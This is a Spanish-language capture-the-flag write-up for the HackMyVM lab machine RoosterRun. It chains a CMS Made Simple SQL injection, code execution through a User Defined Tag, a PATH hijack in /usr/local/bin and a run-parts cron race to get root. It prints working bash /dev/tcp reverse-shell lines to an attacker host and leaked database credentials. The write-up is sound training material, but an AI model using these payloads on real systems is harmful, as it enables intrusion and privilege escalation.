cd ~/blog

~/writeups/hmv/031-roosterrun.md

031 - RoosterRun

easy Linux hmv 28-02-2024
CMS Made Simple SQLi (CVE-2019-9053)User Defined Tag RCEPATH Hijacking (cron + getfacl)run-parts cron file ownership Privesc
hackmyvm.eu/machines/machine.php?vm=RoosterRun

~1 min de lectura


Comenzamos con un escaneo de puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.25
 nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.25
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-28 22:21 -03
Nmap scan report for 192.168.1.25
Host is up (0.00032s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
|   256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA)
|_  256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-generator: CMS Made Simple - Copyright (C) 2004-2023. All rights reserved.
|_http-title: Home - Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.25 seconds

Enumeramos con gobuster:

 gobuster dir -u http://192.168.1.25 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.php            (Status: 200) [Size: 19337]
/modules              (Status: 200) [Size: 3381]
/uploads              (Status: 200) [Size: 0]
/doc                  (Status: 200) [Size: 24]
/assets               (Status: 200) [Size: 2129]
/admin                (Status: 200) [Size: 4467]
/lib                  (Status: 200) [Size: 24]
/config.php           (Status: 200) [Size: 0]
/tmp                  (Status: 200) [Size: 1131]
...

El sitio corre CMS Made Simple 2.2.9.1, vulnerable a SQLi (CVE-2019-9053). Con el exploit (ajustado) extraemos y crackeamos la contraseña del admin:

 ./46635.py -u http://192.168.1.25 -w /home/wh01s17/Documentos/wordlists/rockyou.txt -c
[+] Salt for password found: 1a0112229fbd699d
[+] Username found: admin
[+] Email found: admin@localhost.com
[+] Password found: 4f943036486b9ad48890b2efbf7735a8
[+] Password cracked: homeandaway

Ya como admin, el CMS permite RCE mediante User Defined Tags. En Extensions → User Defined Tags → Add User Defined Tag insertamos:

exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.1.10/1234 0>&1'");

Guardamos y ejecutamos el plugin (con netcat a la escucha), obteniendo una shell como www-data:

 ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.25:51528.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@rooSter-Run:/var/www/html/admin$

En config.php encontramos las credenciales de la base de datos:

www-data@rooSter-Run:/var/www/html$ cat config.php
<?php
# CMS Made Simple Configuration File
# Documentation: https://docs.cmsmadesimple.org/configuration/config-file/config-reference
#
$config['dbms'] = 'mysqli';
$config['db_hostname'] = 'localhost';
$config['db_username'] = 'admin';
$config['db_password'] = 'j42W9kDq9dN9hK';
$config['db_name'] = 'cmsms_db';
$config['db_prefix'] = 'cms_';
$config['timezone'] = 'Europe/Berlin';

Con pspy64 identificamos tareas cron, entre ellas StaleFinder (ejecutado por el usuario 1000) y backup.sh (ejecutado por root):

...
2024/03/03 17:06:01 CMD: UID=0     PID=845    | /bin/sh -c /bin/bash /opt/maintenance/backup.sh
2024/03/03 17:06:01 CMD: UID=1000  PID=846    | /bin/sh -c /home/matthieu/StaleFinder
2024/03/03 17:06:01 CMD: UID=0     PID=847    | /bin/bash /opt/maintenance/backup.sh
2024/03/03 17:06:01 CMD: UID=1000  PID=848    | bash /home/matthieu/StaleFinder
...

Analizamos StaleFinder, que recorre el home buscando archivos vacíos o antiguos:

www-data@rooSter-Run:/home/matthieu$ cat StaleFinder
#!/usr/bin/env bash

for file in ~/*; do
    if [[ -f $file ]]; then
        if [[ ! -s $file ]]; then
            echo "$file is empty."
        fi

        if [[ $(find "$file" -mtime +365 -print) ]]; then
            echo "$file hasn't been modified for over a year."
        fi
    fi
done

Revisamos el PATH y los permisos de /usr/local/bin:

www-data@rooSter-Run:/home/matthieu$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

/usr/local/bin está antes que /usr/bin, y el + indica permisos ACL extendidos:

www-data@rooSter-Run:/home/matthieu$ ls -ld /usr/local/bin
drwxrwx---+ 2 root root 4096 Feb 29 18:29 /usr//local/bin

www-data@rooSter-Run:/home/matthieu$ getfacl /usr/local/bin
...
user:www-data:rwx
...

www-data puede escribir en /usr/local/bin. Como el shebang de StaleFinder es #!/usr/bin/env bash, bash se resuelve por el PATH (PATH Hijacking). Colocamos un bash malicioso allí:

www-data@rooSter-Run:/usr/local/bin$ echo '/usr/bin/bash -c "/usr/bin/bash -i >& /dev/tcp/192.168.1.10/4321 0>&1"' > bash
www-data@rooSter-Run:/usr/local/bin$ chmod +x bash

Cuando el cron de matthieu ejecuta StaleFinder, recibimos su shell:

 ncat -nlvp 4321
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 192.168.1.25:51424.
bash: cannot set terminal process group (941): Inappropriate ioctl for device
bash: no job control in this shell
matthieu@rooSter-Run:~$

Obtenemos la flag de usuario. Ahora podemos leer backup.sh, el cron de root:

matthieu@rooSter-Run:/opt/maintenance$ cat backup.sh
#!/bin/bash

PROD="/opt/maintenance/prod-tasks"
PREPROD="/opt/maintenance/pre-prod-tasks"

for file in "$PREPROD"/*; do
  if [[ -f $file && "${file##*.}" = "sh" ]]; then
    cp "$file" "$PROD"
  else
    rm -f ${file}
  fi
done

for file in "$PROD"/*; do
  if [[ -f $file && ! -O $file ]]; then
  rm ${file}
  fi
done

/usr/bin/run-parts /opt/maintenance/prod-tasks

El script copia los .sh de pre-prod-tasks a prod-tasks y luego ejecuta con run-parts todo lo de prod-tasks (que no exige extensión). La condición ! -O borra los archivos que no son nuestros, pero podemos ganar la carrera: creamos un .sh válido con la reverse shell y, una vez copiado a PROD, lo renombramos rápidamente para quitarle la extensión:

matthieu@rooSter-Run:/opt/maintenance/pre-prod-tasks$ echo '#!/bin/bash' > pwned.sh
matthieu@rooSter-Run:/opt/maintenance/pre-prod-tasks$ echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.10/9999 0>&1"' >> pwned.sh
matthieu@rooSter-Run:/opt/maintenance/pre-prod-tasks$ cat pwned.sh
#!/bin/bash
/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.10/9999 0>&1"

matthieu@rooSter-Run:/opt/maintenance/pre-prod-tasks$ chmod +x pwned.sh
matthieu@rooSter-Run:/opt/maintenance/prod-tasks$ mv pwned.sh pwned

Con netcat a la escucha, recibimos la shell de root cuando run-parts ejecuta nuestro archivo:

 ncat -nlvp 9999
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.168.1.25:42264.
bash: cannot set terminal process group (1488): Inappropriate ioctl for device
bash: no job control in this shell
root@rooSter-Run:~#

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados